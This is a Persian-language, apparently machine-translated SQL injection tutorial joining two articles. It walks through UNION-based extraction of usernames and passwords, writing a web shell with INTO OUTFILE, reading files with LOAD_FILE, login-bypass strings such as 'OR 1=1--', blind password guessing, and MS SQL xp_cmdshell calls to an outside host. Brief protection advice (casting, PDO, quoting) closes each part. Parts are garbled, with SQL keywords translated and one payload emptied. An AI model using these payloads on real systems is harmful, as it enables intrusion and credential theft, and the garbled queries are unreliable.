اسکریپت این را به این صورت درک خواهد کرد

SELECT * FROM news WHERE id=1"

و به ما یک خطا می دهد:
اخطار: mysql_fetch_array() انتظار دارد که پارامتر 1 منبع باشد، بولی که در C:\WebServ\domains\sqlinj\index1.php در خط 16 داده شده است.

اگر خطا ظاهر نشد، ممکن است دلایل زیر وجود داشته باشد:

1. تزریق SQL اینجا نیست - نقل قول ها فیلتر شده اند، یا فقط ارزش تبدیل به (int)
2. خروجی خطا غیرفعال است.

اگر باز هم خطایی دریافت کردید - هورای! ما اولین نوع تزریق SQL - پارامتر ورودی عددی را پیدا کردیم.

پارامتر ورودی رشته

ما درخواست ها را ارسال خواهیم کرد index2.php. در این فایل، درخواست به صورت زیر است:
$user = $_GET["کاربر"]; $query = "SELECT * FROM news WHERE user="$user"";

در اینجا اخبار را با نام کاربری انتخاب می کنیم و باز هم فیلتر نمی کنیم.
مجدداً یک درخواست با یک نقل قول ارسال می کنیم:

خطا داد. خوب! این بدان معناست که یک آسیب پذیری وجود دارد. برای شروع، این برای ما کافی است - بیایید به تمرین برسیم.

بیایید اقدام کنیم

کمی تئوری

احتمالاً نمی توانید منتظر بمانید تا چیزی غیر از اشتباهات را از این کار به دست آورید. ابتدا درک کنید که علامت " -- " یک نظر در SQL در نظر گرفته می شود.

توجه! قبل و بعد از آن باید فضاهایی وجود داشته باشد. در URL آنها به عنوان منتقل می شوند %20

هر چیزی که بعد از نظر می آید کنار گذاشته می شود. یعنی درخواست:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

موفق خواهد شد. با ارسال درخواستی مانند زیر می توانید این را روی اسکریپت index2.php امتحان کنید:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

پارامتر را یاد بگیرید اتحاد. اتصال. در زبان SQL کلمه کلیدی اتحاد. اتصالبرای ترکیب نتایج دو کوئری SQL در یک جدول واحد استفاده می شود. یعنی برای اینکه چیزی را که نیاز داریم از جدول دیگری بیرون بکشیم.

بیایید از آن بهره ببریم

اگر پارامتر "Numeric" باشد، نیازی به ارسال نقل قول در درخواست نداریم و طبیعتاً در پایان نظر قرار می دهیم. برگردیم به فیلمنامه index1.php.

بیایید به اسکریپت بپردازیم sqlinj/index1.php?id=1 UNION SELECT 1 . کوئری پایگاه داده ما به این صورت است:
SELECT * FROM news WHERE id=1 UNION SELECT 1
و او به ما خطا داد، زیرا ... برای کار با پرس و جوهای ادغام، به همان تعداد فیلد نیاز داریم.

زیرا در درخواست اول نمی توانیم روی تعداد آنها تأثیر بگذاریم، سپس باید تعداد آنها را در درخواست دوم انتخاب کنیم تا با اولی برابر شود.

انتخاب تعداد فیلدها

انتخاب فیلدها بسیار ساده است، فقط درخواست های زیر را ارسال کنید:
sqlinj/index1.php?id=1 UNION SELECT 1,2
خطا…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
دوباره خطا!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
بدون خطا! یعنی تعداد ستون ها 5 عدد است.

دسته بندی بر اساس
اغلب اتفاق می افتد که ممکن است 20 یا 40 یا حتی 60 فیلد وجود داشته باشد. برای اینکه مجبور نباشیم هر بار آنها را مرتب کنیم، از آنها استفاده می کنیم. دسته بندی بر اساس

در صورت درخواست
sqlinj/index1.php?id=1 GROUP BY 2
هیچ خطایی نشان نداد، به این معنی که تعداد فیلدها بیش از 2 است. بیایید امتحان کنیم:

Sqlinj/index1.php?id=1 GROUP BY 8
Op، یک خطا می بینیم، یعنی تعداد فیلدها کمتر از 8 است.

اگر با GROUP BY 4 خطایی وجود نداشته باشد و با GROUP BY 6 خطایی وجود داشته باشد، تعداد فیلدها 5 است.

تعریف ستون های خروجی
برای اطمینان از اینکه از اولین درخواست چیزی برای ما نمایش داده نمی شود، کافی است یک شناسه غیرموجود را جایگزین کنید، به عنوان مثال:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


با این عمل مشخص کردیم که کدام ستون ها در صفحه نمایش داده می شوند. حال برای جایگزینی این شماره ها با اطلاعات لازم، باید درخواست را ادامه دهید.

خروجی داده

فرض کنید می دانیم که جدول هنوز وجود دارد کاربرانکه در آن زمینه ها وجود دارد شناسه, نامو عبور.
ما باید اطلاعاتی در مورد کاربر با ID=1 بدست آوریم

بنابراین، بیایید پرس و جو زیر را بسازیم:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 از کاربران WHERE id=1
اسکریپت نیز به خروجی خود ادامه می دهد

برای این کار نام فیلدها را به جای اعداد 1 و 3 جایگزین می کنیم

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM کاربران WHERE id=1
ما به آنچه نیاز داشتیم رسیدیم!

برای "پارامتر ورودی رشته" مانند اسکریپت index2.phpشما باید یک علامت نقل قول در ابتدا و یک علامت نظر در پایان اضافه کنید. مثال:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM کاربران WHERE id=1 --%20

خواندن/نوشتن فایل ها

برای خواندن و نوشتن فایل ها، کاربر پایگاه داده باید حقوق FILE_PRIV را داشته باشد.
ضبط فایل ها
در واقع همه چیز بسیار ساده است. برای نوشتن یک فایل از تابع استفاده می کنیم OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
عالی، فایل نزد ما ثبت شده است. بنابراین، ما می توانیم پوسته کوچک را پر کنیم:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
خواندن فایل ها
خواندن فایل ها حتی ساده تر از نوشتن است. کافی است به سادگی از عملکرد استفاده کنید LOAD_FILE، برای مکان فیلدی که انتخاب می کنیم:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

به این ترتیب ما فایل نوشته قبلی را خواندیم.

روش های حفاظت

محافظت از خود حتی ساده تر از سوء استفاده از یک آسیب پذیری است. فقط داده ها را فیلتر کنید. اگر اعداد را پاس می کنید، استفاده کنید
$id = (int) $_GET["id"];
همانطور که کاربر malroc پیشنهاد کرد. با استفاده از PDO یا بیانیه های آماده از خود محافظت کنید.

به جای تکمیل

اینجاست که می‌خواهم بخش اول خود را در مورد «تزریق SQL برای مبتدیان» به پایان برسانم. در قسمت دوم به نمونه های شدیدتر تزریق می پردازیم. سعی کنید اسکریپت های آسیب پذیر بنویسید و خودتان کوئری ها را اجرا کنید.
و به یاد داشته باشید که به هیچ کاربر سایت خود اعتماد نکنید.

برچسب ها: اضافه کردن برچسب

تزریق SQLیک فرصت بسیار خوب برای یک هکر برای بدست آوردن
دسترسی به سرور و با کمی تلاش او
هنوزم میگیره :)

کدگذار داخل

امروزه کار با پایگاه های داده پشتیبانی می شود
تقریباً تمام زبان های برنامه نویسی، این زبان ها عبارتند از BASIC، C++، Java، PERL، PHP، Assembler و حتی JavaScript! و این برنامه ها چیزی بیش از DBMS - سیستم های مدیریت پایگاه داده نامیده نمی شوند. پایگاه های داده اغلب برای حل مشکلات مالی استفاده می شود،
حسابداری، سازمان پرسنل، اما آنها نیز برنامه خود را در اینترنت پیدا کرده اند.

پایگاه داده ها اغلب برای نوشتن برنامه های وب استفاده می شوند. استفاده از آنها برای ذخیره داده های ثبت نام کاربر، شناسه های جلسه، سازماندهی جستجوها و همچنین سایر کارهایی که نیاز به پردازش بیشتری دارند مناسب ترین است.
مقدار داده برای دسترسی به پایگاه داده از فناوری های سرور استفاده می شود: PHP، PERL، ASP و غیره. این جایی است که سرگرم کننده آغاز می شود. وقتی روی سرور هستید
همه وصله ها نصب شده اند و فایروال همه پورت ها را به جز پورت 80 مسدود می کند یا زمانی که برای دسترسی به برخی داده ها نیاز به احراز هویت است، هکر می تواند از SQL Injection برای هک استفاده کند. ماهیت این حمله سوء استفاده از یک خطا در تقاطع فناوری های WEB و SQL است. واقعیت این است که بسیاری از صفحات وب برای پردازش داده های کاربر یک ویژه را تشکیل می دهند SQLدرخواست پایگاه داده استفاده بی دقت از این تکنیک می تواند به نتایج بسیار جالبی منجر شود...

تزریق SQL

برای توضیح حمله، تصور کنید که برای دانلود یک ابزار بسیار مهم به سایت رفته اید و با وحشت متوجه شده اید که فقط یک کاربر ثبت نام شده می تواند این کار را انجام دهد و البته ثبت نام هزینه دارد. آخرین پولی که به دست آورده اید، اما بدون برنامه نمی توانید این کار را انجام دهید! وقت آن است که به یاد بیاوریم چگونه
دسترسی به پایگاه های داده SQL. به عنوان مثال، بررسی ورود و رمز عبور خود در PHP ممکن است به شکل زیر باشد:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
اگر ($num_rows!=0)
{
// احراز هویت درست است
}
دیگر
{
// خطا احراز هویت
}

من دو نظر اضافه کردم، "AUTENTICATION OK" - باید آن را جایگزین کنم
به کدی بروید که در صورت صحیح بودن رمز عبور و ورود به سیستم اجرا می شود. یکی دیگر از "خطای احراز هویت" مکانی است که در آن کدهایی که در صورت نادرست بودن اجرا می شوند توضیح داده می شود. اگر فرم را پر کنید، درخواست مانند "http://www.server.com?login=user&password=31337" خواهد بود، جایی که نام www.server.com است.
سروری که می خواهیم به آن وصل شویم. ما آنچه را که دنبالش بودیم پیدا کردیم و بنابراین دوباره به سر کار باز خواهیم گشت SQL. بنابراین، اگر باید یک لاگین و رمز عبور برای مجوز مشخص کنید، پس از آن تولید شده است SQLدرخواست به شکل زیر خواهد بود:

SELECT * از کاربران WHERE login="user" AND
رمز عبور = "31337"

این به معنای چیزی شبیه به این است: تمام رکوردهای پایگاه داده کاربران را که لاگین آنها "user" و رمز عبور "31337" است به من برگردانید. اگر چنین رکوردی وجود داشته باشد، کاربر ثبت می شود، اما اگر نه، پس نه... اما در شرایط خاص، همه چیز قابل اصلاح است. این به وضعیتی اشاره دارد که برنامه محتوای داده های ارسال شده را بررسی نمی کند یا آن را به طور کامل برای حضور بررسی نمی کند. SQLدستورالعمل ها. در این مثال، دو فیلد ورود و رمز عبور بررسی شده است، اما اگر “31337′ AND email=” را به عنوان رمز عبور مشخص کنید. [ایمیل محافظت شده]”(بدون نقل قول دوگانه)، سپس پرس و جو کمی متفاوت خواهد شد:

SELECT * FROM users WHERE login="user" AND password="31337" AND
ایمیل = " [ایمیل محافظت شده]"

و در صورت وجود فیلد ایمیل، این شرط نیز بررسی می شود. اگر اصول جبر بولی را به خاطر داشته باشید، به ذهنتان خطور می کند که علاوه بر عملیات "و"، یک "یا" نیز وجود دارد و از آنجایی که استفاده از آنها توسط SQL پشتیبانی می شود، می توانید
به روش توضیح داده شده، یک شرط اضافه کنید که همیشه true باشد. برای انجام این کار، باید “user’ OR 1=1—” را به عنوان ورود مشخص کنید، در این صورت درخواست به شکل زیر خواهد بود:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
رمز عبور = "31337"

ابتدا باید بدانید که "-" به معنای پایان درخواست و همه چیز بعد از "-" است.
پردازش نخواهد شد! معلوم شد که ما درخواستی کردیم:

SELECT * FROM users WHERE login="user" OR 1=1

همانطور که می بینید، ما شرط "1=1" را اضافه کردیم، به این معنی که معیار تأیید این خواهد بود که "اگر ورود به سیستم 'user' یا 1=1 باشد"، اما 1 همیشه برابر است با 1 (تنها استثنا می تواند محاسبات Dani Shepovalov باشد. :)). برای بررسی شبهات ما
«http://www.server.com?login=user یا 1=1—&password=31337» را در نوار آدرس وارد کنید. این منجر به این واقعیت می شود که مهم نیست کدام ورود را مشخص کرده ایم، اما
مخصوصا رمز عبور! و ما در ماتریس هستیم... اوه، در سیستم و می توانیم با آرامش آنچه را که نیاز داریم دانلود کنیم.

اما این همه در تئوری است. در عمل، ما نمی دانیم درخواست چگونه شکل می گیرد، چه داده هایی منتقل می شود و در چه ترتیبی. بنابراین لازم است برای همه فیلدها “user’ OR 1=1—” مشخص شود. همچنین باید فرم ارسال را برای فیلدهای مخفی بررسی کنید. در HTML آنها به صورت " " در صورت وجود، صفحه را ذخیره کرده و مقادیر این فیلدها را تغییر دهید. مقادیر موجود در آنها اغلب فراموش می شوند تا برای وجود عبارات SQL بررسی شوند. اما برای اینکه همه چیز کار کند، باید مسیر کامل اسکریپتی را که این درخواست را پردازش می کند در فرم (برچسب "FORM") برای پارامتر "ACTION" مشخص کنید.

اما همیشه مشخص نیست که درخواست چگونه شکل می گیرد،
مثال قبلی را می توان به روش های زیر تشکیل داد:

SELECT * FROM users WHERE (ورود = "کاربر" و رمز عبور = "31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * از کاربران WHERE login=کاربر و رمز عبور=31337

در این مورد، می توانید گزینه های زیر را امتحان کنید:

'OR 1=1—
» یا 1=1—
یا 1=1—
‘یا ‘a’=’a
"یا "a"="a
') یا ('a'='a
یا '1'='1'

همه چیز به هدف اسکریپت و برنامه نویس بستگی دارد. از آنجایی که هر فرد تمایل دارد همه چیز را به روش خود انجام دهد، این امکان وجود دارد که برنامه نویس ساده ترین گزینه را انتخاب نکند. بنابراین، شما نباید بلافاصله
اگر رد شدید تسلیم شوید ضروری است
تا حد امکان گزینه های زیادی را امتحان کنید ...

تشخیص رمز عبور

دور زدن مجوز بد نیست، اما اغلب سوراخی که استفاده می کنید بسته می شود و هر چیزی که در دسترس شما بود از بین می رود.
اگر برنامه نویس احمق نباشد، این قابل انتظار است
به مرور زمان تمام حفره ها را می بندد. با مراقبت از قبل می توانید به راحتی از شر چنین موقعیت هایی خلاص شوید. راه حل صحیح ممکن است حدس زدن رمز عبور با استفاده از آن باشد
تجزیه و تحلیل نتایج احراز هویت ابتدا سعی می کنیم رمز عبور را حدس بزنیم، برای انجام این کار، مکان آن را وارد کنید:

'OR password>'a

اگر به ما گفته شود که مجوز تصویب شده است، پس رمز عبور
با حرف "a" شروع نمی شود، بلکه با یکی از موارد زیر در لیست شروع می شود. بیایید پیش برویم و جایگزین کنیم
جای "الف"، بعد "ب"، "ج"، "د"، "ه"... و غیره. تا زمانی که به ما بگویند رمز صحیح نیست. اجازه دهید این فرآیند در نماد "x" متوقف شود، در این صورت دو گزینه برای توسعه وضعیت ایجاد می شود: رمز عبور پیدا می شود یا رمز عبور با این نماد شروع می شود. برای بررسی گزینه اول، محل رمز عبور را بنویسید:

"OR password="x

و اگر پسورد پذیرفته شد و اجازه ورود پیدا کردید پس رمز را حدس زدید! خوب، نه، پس باید شخصیت دوم را انتخاب کنید،
دقیقاً از همان ابتدا دو کاراکتر را بررسی کنید
نیاز به همان در پایان یک رمز عبور دریافت خواهید کرد و به همین ترتیب به دنبال ورود خواهید بود :)
اگر رمز عبور پیدا شده و ورود به سیستم مناسب شما نیست، می توانید دیگران را پیدا کنید. برای انجام این کار، باید از آخرین کاراکتر رمز عبور پیدا شده شروع به بررسی کنید. بنابراین، اگر رمز عبور "xxx" بود، لازم است وجود رمز عبور را بررسی کنید
"xxxy":

'OR رمز عبور ='xxx

تا بیش از یک گزینه را از دست ندهید!

MS SQL Server

MS SQL Server به طور کلی یک موهبت الهی است اگر فیلترینگ لازم از دست برود. با استفاده از آسیب پذیری SQL Injection می توانید آن را اجرا کنید
دستورات روی سرور راه دور با استفاده از exec master..xp_cmdshell. اما برای استفاده از این طرح
عملیات SELECT باید تکمیل شود. در SQL، دستورات با نقطه ویرگول از هم جدا می شوند. بنابراین، برای اتصال به برخی از IP از طریق Telnet، باید رمز عبور/محل ورود به سیستم را وارد کنید:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server چندین ویژگی جالب دیگر دارد که به شما امکان می دهد لاگین ها و رمزهای عبور ذخیره شده در پایگاه داده را پیدا کنید. برای انجام این کار، خروجی خطا به یک سرور دلخواه و از طریق آنها هدایت می شود
تجزیه و تحلیل، می توانید نام جدول، فیلدها و انواع آنها را پیدا کنید. پس از آن می توانید درخواست دهید

ورود UNION SELECT TOP 1 از کاربران—

(login نام فیلد حاوی لاگین و user نام جدول است،
نیمه دانشمندان در فرآیند تجزیه و تحلیل خطا).

پاسخ ممکن است این باشد:


خطای نحوی در تبدیل مقدار nvarchar "admin" to a column of data type int. !}
/default.asp، خط 27

اکنون می دانیم که کاربری به نام "admin" وجود دارد. اکنون می توانیم رمز عبور او را دریافت کنیم:

UNION SELECT TOP 1 Password از کاربرانی که در آن login='admin'-

نتیجه:

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07"
خطای نحوی در تبدیل مقدار nvarchar "xxx" to a column of data type int. !}
/tedault.asp، خط 27

اکنون می دانیم که یک کاربر "admin" با رمز عبور "xxx" وجود دارد. با این شما می توانید با خیال راحت
استفاده کنید و وارد سیستم شوید 😉

اما بسیاری از توابع دیگر برای کار با SQL وجود دارد،
هنگام کار با یک پایگاه داده، همچنین می توانید داده ها را حذف کنید، آنها را تغییر دهید، فایل های خود را وارد کنید، و حتی فایل ها را دستکاری کنید و با رجیستری کار کنید.
به طور کلی قوانین SQL Server :)

حفاظت

اما البته می توان از همه اینها اجتناب کرد. برای انجام این کار می توانید
استفاده از فیلترها،
توسط تولید کنندگان ارائه شده است. شما می توانید راه حل های خود را پیدا کنید، به عنوان مثال، جایگزین همه مجرد
نقل قول های دوگانه (اگر برای SQLدرخواست کنید که از تک ها استفاده کنیم)، یا برعکس. فقط در صورت نیاز می توانید استفاده از حروف و s@baki را مجاز کنید
آدرس ایمیل. و در مروارید شگفت انگیزی وجود دارد
تابع 🙂 quote() در ماژول DBI::DBD، که با موفقیت درخواست شما را با توجه به SQL. راه حل های زیادی وجود دارد، فقط به آنها نیاز دارید
بهره بردن از وگرنه چرا این همه ...